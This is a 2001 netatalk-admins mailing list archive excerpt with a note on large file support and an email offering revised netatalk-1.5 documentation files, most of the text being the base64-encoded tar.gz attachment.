> the space it occupies gets noticed, i.e. the Mac reports the 70 GB
> volume as occupied by something which is 3.4 GB in size (i.e. 66 GB as
> free) but which does not show up in the Finder.

Found a couple of links with info on Large File Support on Unix
platforms:

http://ftp.sas.com/standards/large.file/x_open.20Mar96.html#1.1
http://www.suse.de/~aj/linux_lfs.html

Does anyone know how to put this into Netatalk or if there is a version
somewhere that already implements it (Samba 2.0.7 does not enable this
by default either, although it supports it . . . )?

Cheers Frank

From netatalk.administrators-errors@umich.edu  Mon Aug 13 19:39:44 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA17853
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 13 Aug 2001 19:39:44 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id TAA10628
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 13 Aug 2001 19:39:44 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA10613
	for netatalk.administrators-members@umich.edu; Mon, 13 Aug 2001 19:39:44 -0400 (EDT)
Received: from ernst.anu.edu.au (ernst.anu.edu.au [150.203.35.221])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id TAA10545
	for <netatalk-admins@umich.edu>; Mon, 13 Aug 2001 19:39:41 -0400 (EDT)
Received: from localhost (chris@localhost)
	by ernst.anu.edu.au (8.11.5/8.11.5) with ESMTP id f7DNbMv23847
	for <netatalk-admins@umich.edu>; Tue, 14 Aug 2001 09:37:23 +1000 (EST)
X-Authentication-Warning: ernst.anu.edu.au: chris owned process doing -bs
Date: Tue, 14 Aug 2001 09:37:21 +1000 (EST)
From: Chris Blake <Chris.Blake@anu.edu.au>
X-X-Sender:  <chris@ernst>
To: <netatalk-admins@umich.edu>
Subject: Doc comtribution
Message-ID: <Pine.GSO.4.33.0108140926340.23711-101000@ernst>
MIME-Version: 1.0
Content-Type: MULTIPART/MIXED; BOUNDARY="-559023410-851401618-997745841=:23711"

  This message is in MIME format.  The first part should be readable text,
  while the remaining parts are likely unreadable without MIME-aware tools.
  Send mail to mime@docserver.cac.washington.edu for more info.

---559023410-851401618-997745841=:23711
Content-Type: TEXT/PLAIN; charset=US-ASCII

Hi

Hope this isn't too presumptuous, but I'd like to make a contribution to
the netatalk-1.5pre6 documentation, and someone suggested that this was
the appropriate email address. Since the changes to the existing
files are not too extensive there is no need to include my name in any
credits, assuming you accept them. The attached tar file contains
o a modified INSTALL
o a modified README
o a modified doc/README.LINUX
o a modified doc/README.SOLARIS
o doc/CONFIGURE - this replaces the latter part of doc/INSTALL.txt
o doc/DEVELOPER - this replaces doc/README

Part of the motivation for these changes is that the current documentation
has some files with similar purposes. INSTALL, doc/INSTALL.txt
and doc/README all have some installation instructions. A lot of this
information is duplicated, some is similar with slight differences, and some
is wrong - for example doc/README states that autoconf, automake and libtool
are required and doc/INSTALL.txt states that autoconf and automake are
prerequisites and that libtool is only needed by developers. None of these
programs is needed for a basic installation.

Anyway, if you decide to use the attached files, please remove doc/INSTALL.txt
and doc/README. The purpose of these files is to consolidate information into
single files on a given subject where it is easy to find, not to increase the
number of files containing duplicated information. :-)

Chris Blake                                 N.M.R. Centre,
phone 61 2  612-58074                       Research School of Chemistry,
fax   61 2  612-50750                       Australian National University,
email Chris.Blake@anu.edu.au                Canberra, ACT 0200

---559023410-851401618-997745841=:23711
Content-Type: APPLICATION/octet-stream; name="netatalk-1.5doc.tar.gz"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.GSO.4.33.0108140937210.23711@ernst>
Content-Description: New netatalk-1.5 doco
Content-Disposition: attachment; filename="netatalk-1.5doc.tar.gz"

H4sICLtWeDsAA25ldGF0YWxrLTEuNWRvYy50YXIA7FttU9xIkp6vrV9R67gI
cGxLzTsz3HpiMWAPMRhYGuyZ2Niw1VJ1txa1pFFJNGzcj78nM6ukasCevbsZ
f7npcBhQV2Vl5fubCt3ETZzfhpvRblomo29+h4/a2djf3VXfKKU2d/f4p9q2
P+WzodT+9vbexu7WztYOVm3ub2x9o3Z/D2Qef1rTxLVS3yTzOjNfWFcs6q+B
ztf+FI/4f3o+vj48O/tNz9jc2Njb2fkc/7e29/GH4//2/hZWbW/s7X6jNn5T
LD7z+X/O/9exyRJ1WoAKeR43WVkEr558guDciomq28KoslDT7E6rstI19hQz
ZR5MoxfmIAgGF+PBe10bQDKDH+I6Xca1HpyXjTbBIAzxTz6PfgkG4zKPwYLB
VrQbfjsYjKu4ToLBWVa094PNaDu6H25F94PLo2Dwptb69fgYK7fCpK1rXTR4
PhjE00bXanNLjXXVqO/2ALMtgM5OtPlnC3AwuNV1oXO1AN/VPMYl3h8fX70P
BvwpK6KAyoQcOg0GN3lTZ/cA8ffNcOcfg8E2hHm4u7GxEQTB9Vwrky2qXAPW
Mn5QTem2qmaeGVXFyW080yojwkCsI/UpSddoWYOtaVbrpCnrB5WURRNnBRGS
vrDb1owyZVsnGt+nWsVFqpqHSgesNZ+iEXZNs1lba4bY/eWDUNOyVg8AYhkU
KXU6pQdrtYXTGjr1U2Lma8TWuFBlnqo7YaAqp2rMG9X7IW1Ti2w2b1Shdcq3
6NExc7WCEdFBx7yqqvUdWGQPmdblQjX1A1+2VPpeJ23joPgAGqPzaRTIN9el
Mho0YMri512c5fEk1961hXdmyFj5yKgwnOu8EkBXbVHIjT3qxbfaqHg5z3IN
Cn2gnyTotHAIRHCDrGiIGwuL6EIbA/Ia1eg8J3DYm8zVVMcNIBraA/Ync53c
0rfgAl9kK1LXhNynBU60XFtUdJrHM165HakLvg9u/GCvxLsEKO8FhuDXgyI6
hVAvYNjM44ZgarXMmrng+hj0jkViPTaqLsvmpQVsJRdiUK8+CQ1UoFpblW5L
iKouZ3W8MCydhEwKMwHjkGt5BJfSLsB8tiyRWn8OsECawaCAxAvSu9qKBXHY
vGSsdyP1roSaPTE5Iowkm8AvLZlJUD6RLrq7VXjTJpYgdG/t2E8LwS3c2SJF
D2K3Ka2BVR2ps7K8xQJR2zIROL3+NiKd2ZQW1KTvAHF1cnj87iS6x4cJ0uvi
xZivtBfBUDVtJQ/rRJkE5GhwA+FjZ3MBjpxUg3tCJyfgGVhI9mWZ5bngMoH8
F5r0lVAUQEZ0Lc2IzJMR7EvjviDWmHnZQtXZBk60LgQQjGm80CmvSMoqw6+Q
faFkUtZ0Y1XlMYzSOlGUiDnSTcLQo3RoKaMrXaRESeBrr8wy/FKlQnKwrlK7
Kp6UdyKV+0wMBWrIScIdFhsrTqGKp1Ua0VdDxYSxf8iZLpDhZ4x+FdvlkTp+
gpBID61z9/6lBT9JVo1YOtjzorS2jmReaGu0oBPJtrFmgRgdXZy/OX17c3XC
l/k2smZWgZqQ4VRdHr4b0vZC9FcYTDft0K7iRSpysoyNALf0Zy46e0ayxgTH
+igdkeAuSeYgpisXq1o2B1ZNcfxzNGVkv4vUz8A0genH/cEPsRii2GqSFfDK
VpvLyT+J/8IPMeTuBN9T9YoxeSC2s70V45XruFiL2J7HOQS9P1HACGimjm+h
kxqWFaRYx5YHi+wzppNUzOo4kJhONYUGCiY4Je7RBria+uWKPSX16NGy6muB
EIaxXbeAgyYnretQlsNt1DPdDNWkbQRjaCTWQNCAKS3PH+ylwKRVv56CXzmZ
MtN5ZHhinNwMO+FjxQS3cYZDB1asrMFXXKYkS9ObX9imsk7xhPyCnumCrKT2
yZnEznmRa7ABCFuGlm0z4pkjoWgtzBb/Y54JBzkiJOEnR+PMsFUg1RataePc
uWO+vLBKBA9/wsbeSqwTNwEh4rPaGsG0BOKkf7dFuSQ70cLodYJKzsLfFZD5
yXDqXZy3Wg69g9yyAyEpNLppbHi1cIZcF3dZXRak8gB9Q4FQEKvXEORCh4Qy
EKYQwyB6yIed3KXWPJeFNVWLBZELl9L471YHFPodCKmPjl4l336njt6cHb4d
vwovttTZ6Wv8klelye79ICUILmoC6cjJR4gIEIGA65rj9goq8F10qPIOxVp1
dHlpzzwdtaYe5WUS5zDSSd5CQc+O7ZdmFQUrAUSoN6DguzZvMkS36rBO5lkD
nabg5nmBeE4+fv6ypqpFydEqxZyg3WM1VWIhAwPBVU220ENiJPkeFyevmiMA
1DF5JA9Zy+qsDspl0dslMUDMyMxYjaN8gFQw9oNfF6iRoJq2qlj7mCHvLw+v
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
